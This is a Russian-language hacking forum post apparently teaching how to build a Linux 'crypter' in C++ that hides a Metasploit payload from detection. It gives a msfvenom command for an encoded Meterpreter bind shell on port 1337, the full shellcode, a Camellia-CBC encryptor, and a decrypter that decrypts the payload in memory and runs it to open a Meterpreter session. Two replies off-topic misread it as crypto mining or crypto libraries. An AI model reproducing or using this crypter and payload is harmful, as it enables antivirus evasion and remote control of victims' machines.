[C++] Кастомный криптор под Linux

Gidroponika

Exploit Developer
Joined
Aug 17, 2016
Messages
1,784
Reaction score
826
7efc4a54bfde645f30023.png

Доброго времени суток, Господа. Сегодня Мы займёмся написанием криптора под Linux на С++. Для этого Нам понадобится свободная библиотека crypto++

На ArchLinux установить её можно так:

yaourt -S crypto++

Криптовать Мы с Вами будем payload от msfvenom. Вот как выглядит команда для его создания:

msfvenom -e x86/shikata_ga_nai -i 5 -p linux/x86/meterpreter/bind_tcp LPORT=1337 R | hexdump -v -e '"\\\x" 1/1 "%02x"'

Исходный код файла crypter.cpp:


Code:
#include <cryptopp/osrng.h>
using CryptoPP::AutoSeededRandomPool;

#include <iostream>
using std::cout;
using std::cerr;
using std::endl;

#include <string>
using std::string;

#include <cstdlib>
using std::exit;

#include <cryptopp/cryptlib.h>
using CryptoPP::Exception;

#include <cryptopp/hex.h>
using CryptoPP::HexEncoder;
using CryptoPP::byte;

#include <cryptopp/filters.h>
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::StreamTransformationFilter;

#include <cryptopp/camellia.h>
using CryptoPP::Camellia;

#include <cryptopp/modes.h>
using CryptoPP::CBC_Mode;

#include <cryptopp/secblock.h>
using CryptoPP::SecByteBlock;

/*
 * Создаём полезную нагрузку. Key и IV будет сгенерирован рандомно
 * Убедитесь что в payload'е нет NULL-байтов, иначе криптор не будет работать
 *
 * Пример полезной нагрузки
 * msfvenom -e x86/shikata_ga_nai -i 5 -p linux/x86/meterpreter/bind_tcp LPORT=1337 R | hexdump -v -e '"\\\x" 1/1 "%02x"'
 */

string payload = "\xb8\xd8\xd3\x76\xdd\xd9\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x37\x83\xc6\x04\x31\x46\x10\x03\x46\x10\x3a\x26\xad\x13\x63\xbd\x76\x58\x2c\xb6\xeb\xee\xd5\x9d\x38\x26\x68\x11\xbc\x52\x76\x63\xb8\xb4\x85\xfe\x2a\x5b\xf4\xb9\xd2\xc5\x0f\x1a\x3a\x20\x63\x42\xc5\x4c\xae\xaa\x85\x5d\x93\xd0\xe9\xe7\x03\x18\x7b\x0c\x6b\xa1\x6c\x48\xc4\x4b\x01\xb5\xd4\x96\x3d\x08\xf9\x8d\xe9\x02\x6a\x0c\xb7\x04\xc8\x21\xc1\xfb\x37\x00\x14\xa5\xae\xc7\xd4\x13\x39\xc3\x2a\xf4\x7c\x9e\xb7\xb4\x67\x1a\x22\xcf\x03\xea\x78\x58\x4f\x21\xde\xea\xe5\xca\xf4\x4e\xf7\x33\xeb\x43\x29\x37\x2d\xef\x00\xec\x19\x2d\x44\x02\x9d\x73\x53\x37\xed\xcc\x06\xa6\x70\x23\x86\x48\xf1\x3f\x81\xeb\x31\xac\x85\xc9\x3f\x96\xd0\x5f\x45\x24\xc8\xe7\x25\x6b\x66\x46\x1d\x9e\xcd\x6c\xcb\x57\xf6\x7b\x95\xad\x4c\xe5\x34\xa3\x8c\x90\xb1\x15\x13\x2d\xf3\x02\x4b\xf8\xf6\x38\xda\x55\x0c\x34\x44\xbd\x64\x01\x93\x62\x48\xf8\xb1\x9f\x04\xc2\x53\xf0\x93\x7f\x18\x93\xa8\x0a\x5e\x1f\x38\xf9\xf3\x3f\x08\x5f\xe8\xbc\xf8\x1a\xb0\x76\xf5\x9d";

/*
 * Функция для шифрования строк, используя CryptoPP's HexEncoder в StringSink
 */

string encode(unsigned char* decoded, int size)
{
   string encoded;
   StringSource(decoded, size, true,
           new HexEncoder(
               new StringSink(encoded)
               )
           );

   return encoded;
}

int main(int argc, char* argv[]) {
   // Создаём генератор рандомных чисел
   AutoSeededRandomPool prng;
  
   // Создаём ключ с 32 байтами
   SecByteBlock key(Camellia::MAX_KEYLENGTH);
   prng.GenerateBlock(key, key.size());
   // Выводим ключ
   cout << "Key: " << encode(key, key.size()) << endl;

   // Создаём IV с 16 байтами
   byte iv[Camellia::BLOCKSIZE];
   prng.GenerateBlock(iv, sizeof(iv));
   // Выводим его
   cout << "IV: " << encode(iv, sizeof(iv)) << endl;

   /*
    * Начинаем шифрование
    */
    
   try {
       // Будет хранить в себе закриптованную полезную нагрузку
       string cipher;

       // Используем Camellia с CBC_Mode
       CBC_Mode<Camellia>::Encryption e;
       // Инициализируем параметры шифрования
       e.SetKeyWithIV(key, key.size(), iv);

       // StreamTransformationFilter добавляет padding
       StringSource(payload, true,
               new StreamTransformationFilter(e,
                   new StringSink(cipher
                       )
                   )
               );
       // Выводим cipher
       string encoded_cipher;
       StringSource(cipher, true,
               new HexEncoder(
                   new StringSink(encoded_cipher)
               )
       );
       cout << "Ciphertext: " << encoded_cipher << endl;
   // Ловим ошибки если таковые произошли во время шифрования
   } catch (const CryptoPP::Exception &e)
   {
       cerr << e.what() << endl;
       exit(1);
   }

   return 0;
}

Криптор может быть скомпилирован для x64 систем такой командой:

g++ -I/usr/include/cryptopp crypter.cpp -o crypter -lcryptopp -m32

После запуска криптора получаем такой вывод:

158a1f4154a839caf99d6.png

Теперь напишем decrypter.cpp.Ведь наш crypter только шифрует. Нам же ещё необходимо взять зашифрованные данные, дешифровать их в памяти и запустить финальный payload

Code:
#include <string.h>

#include <iostream>
using std::cerr;
using std::endl;

#include <string>
using std::string;

#include <cstdlib>
using std::exit;

#include <cryptopp/cryptlib.h>
using CryptoPP::Exception;
using CryptoPP::byte;

#include <cryptopp/hex.h>
using CryptoPP::HexDecoder;

#include <cryptopp/filters.h>
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::StreamTransformationFilter;

#include <cryptopp/camellia.h>
using CryptoPP::Camellia;

#include <cryptopp/modes.h>
using CryptoPP::CBC_Mode;

/*
 * Задаём параметры для расшифровки
 * ciphertext - содержит hex зашифованный текст, что мы сгенерировали
 * key       - содержит ключ шифрования
 * iv        - содержит вектор инициализации (IV)
 */

string key = "A3866C3024FA6BC8B021DC2EF296EE647360D20162C5790B47481605513844BA";
string iv = "ED4DB609D440773AC1027302709CDFC5";
string ciphertext = "1AF3F5067C1E327DED6ADFF7A9D05F21646CA339684C1CC66A99F5BFB7E9720F4DCFAD36F5B9ED99FE704E0CC7D334A5D66439A987118A485894F525A79052EC27CF688CBBFED3D95BBCE6E1F7568E9BBE39617F314B3C08A1529E7F72A7CF255912443934DC745F628CA6E405789090FDC7FB67469B79D7A57A3786EDEA6BAF2E166839005436A85DDA57501B3FFDEC41129091253CAADA59EA972D72869E25CCF291F6E2BCB17432E6F6EC6713FFF5";

/*
 * Функция для расшифровки используя HexDecoder в StringSink
 */

string decode(const string &encoded)
{
   string decoded;
   StringSource ssrc(encoded, true,
           new HexDecoder(
               new StringSink(decoded)
           )
   );

   return decoded;
}

int main(int argc, char *argv[]) {
   // Расшифровываем ciphertext, key и IV
   string decoded_cipher = decode(ciphertext);
   string decoded_key   = decode(key);
   string decoded_iv    = decode(iv);

   // Ковертируев ключ и IV в const byte *. Нам это позже понадобится
   const byte* b_decoded_key = (const byte*) decoded_key.data();
   const byte* b_decoded_iv = (const byte*) decoded_iv.data();

   // Строка для сохранения расшифрованного контента
   string recovered;

   try {
       // Выбираем метод дешифровки
       CBC_Mode<Camellia>::Decryption d;
       // Задаём параметры дешифровки
       d.SetKeyWithIV(b_decoded_key, Camellia::MAX_KEYLENGTH, b_decoded_iv);

       // Проводим дешифровку и записываем расшифрованную в "recovered"
       // StreamTransformationFilter удаляет padding
       StringSource s(decoded_cipher, true,
               new StreamTransformationFilter(d,
                   new StringSink(recovered)
               )
       );
   // Ловим ошибки, если таковые произошли
   } catch(const CryptoPP::Exception& e) {
       cerr << e.what() << endl;
       exit(1);
   }

   // Конвертируем расшифрованные данные в char
   char * writable = new char[recovered.size()];
   std::copy(recovered.begin(), recovered.end(), writable);
  
   // Запускаем shell-код
   int (*ret)() = (int(*)())writable;
   ret();

   return 0;
}

Когда мы запустим наш decrypter то получим сессию meterpeter

(у меня с этим были проблемы, из-за отсутсвия в данный момент 32-битной библиотеки) Но вот доказательство от другого чувака, который их имел(он как-раз таки и вдохновил меня на эту статью):

d583bcc346927fea54f6c.png
 

K.C

New member
Joined
Jan 26, 2011
Messages
4
Reaction score
0
I've dabbled in crypto mining on Linux using C++. Have you considered using the CUDA library for Nvidia GPUs or the ROCm library for AMD? It can help optimize performance and simplify the process.
 

yanssen

New member
Joined
Sep 11, 2006
Messages
3
Reaction score
0
"Hey, just a heads up that there's a decent example of a custom crypto library in C++ for Linux over on GitLab. Looks like it's been actively maintained and has a pretty good doc setup, might be worth checking out. Has anyone else tried it out?"
 
Top